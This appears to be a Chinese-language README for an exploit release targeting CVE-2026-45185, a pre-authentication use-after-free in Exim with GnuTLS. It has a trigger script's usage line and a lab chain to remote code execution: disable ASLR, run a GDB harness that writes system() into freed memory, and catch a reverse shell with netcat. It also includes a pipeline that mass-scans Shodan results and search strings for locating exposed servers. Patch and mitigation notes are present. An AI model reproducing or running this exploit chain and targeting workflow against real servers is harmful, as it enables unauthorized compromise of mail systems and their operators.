CVSS 9.8 严重 | Exim 4.97–4.99.2 | Ubuntu / GnuTLS 构建 | 未认证
包含 GDB 跟踪、逐步分析和全球暴露数据的完整技术文章:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
当 Exim 处于 BDAT 主体传输中途时,发送 TLS close_notify 警报会导致 tls_close() 调用 gnutls_deinit(),释放 7,304 字节的 gnutls_session_int 结构体。BDAT 接收层持有一个失效的指针。当主体读取循环恢复时,tls_getbuf → gnutls_record_recv 会解引用已释放的会话 — 堆释放后使用(heap use-after-free),发生在认证之前,无需任何凭据。
已在 Exim 4.99.3 中修复。
| 条件 | 要求 |
|---|---|
| Exim 版本 | 4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2 |
| 构建 | Ubuntu / Debian 且使用 GnuTLS(libgnutls28-dev) |
| 特性 | EHLO 中通告 CHUNKING(默认开启) |
Alpine Linux 以及链接 OpenSSL 的自编译 Exim 不受影响。
| 文件 | 用途 |
|---|---|
poc.py |
python3 poc.py <host> <port> <rcpt@domain>
# example
python3 poc.py mail.example.com 587 [email protected]
如果服务器在触发后仍然存活,则说明 UAF 路径存在。如果它崩溃了,则说明 tcache 的行为发生了变化。
# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3
# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space
# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config # choose "internet site", accept defaults
# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d
# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost
# 6. Start a listener for the reverse shell
nc -lvp 4444
**运行之前:**编辑 diag19_gdb.py 中的 CMD,指向你的监听器 IP。
SYSTEM 地址在加载时动态解析 — 无需手动查找。
PostTlsCloseFin 中的两个地址(lwr_receive_getbuf、tls_getbuf)是 Exim 内部地址,必须与你的构建匹配:
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf
# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v
# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt
# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt
该模板运行两个独立的阶段:
EHLO 指纹 — 发送 EHLO,匹配全部三个必需条件:
4.97–4.99.2Ubuntu(确认 GnuTLS 链接)CHUNKINGBDAT 探测 — 在不发送 RCPT TO 的情况下发送 BDAT 200,匹配 Exim 特有的 503:
503 valid RCPT command must precede BDAT
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587
# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")
# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"
升级到 Exim 4.99.3 或更高版本(官方补丁)。
临时缓解措施(无利用路径,测试时无需重启):
# exim4.conf
chunking_advertise_hosts = !*
然后执行 service exim4 restart。
| 日期 | 事件 |
|---|---|
| 2026-06-10 | XBOW 分配 CVE |
| 2026-06-24 | 发布公开安全公告 |
| 2026-08-07 | 确认实验室 RCE;发布本文及 PoC |
作者 @0Init
| UAF 触发器 — 仅使用标准库,无需 pip。可安全地针对你自己的服务器运行。到达 UAF 路径后即停止(不含载荷)。 |
diag19_gdb.py | GDB 漏洞利用框架 — 7 个断点,在 gnutls_deinit() 返回后将 system() 写入已释放的内存块。仅限实验室(需要关闭 ASLR + 匹配的库版本)。 |
CVE-2026-45185.yaml | Nuclei 模板 — 通过 EHLO 指纹 + BDAT 探测检测全部三个前置条件。安全、只读的检测。 |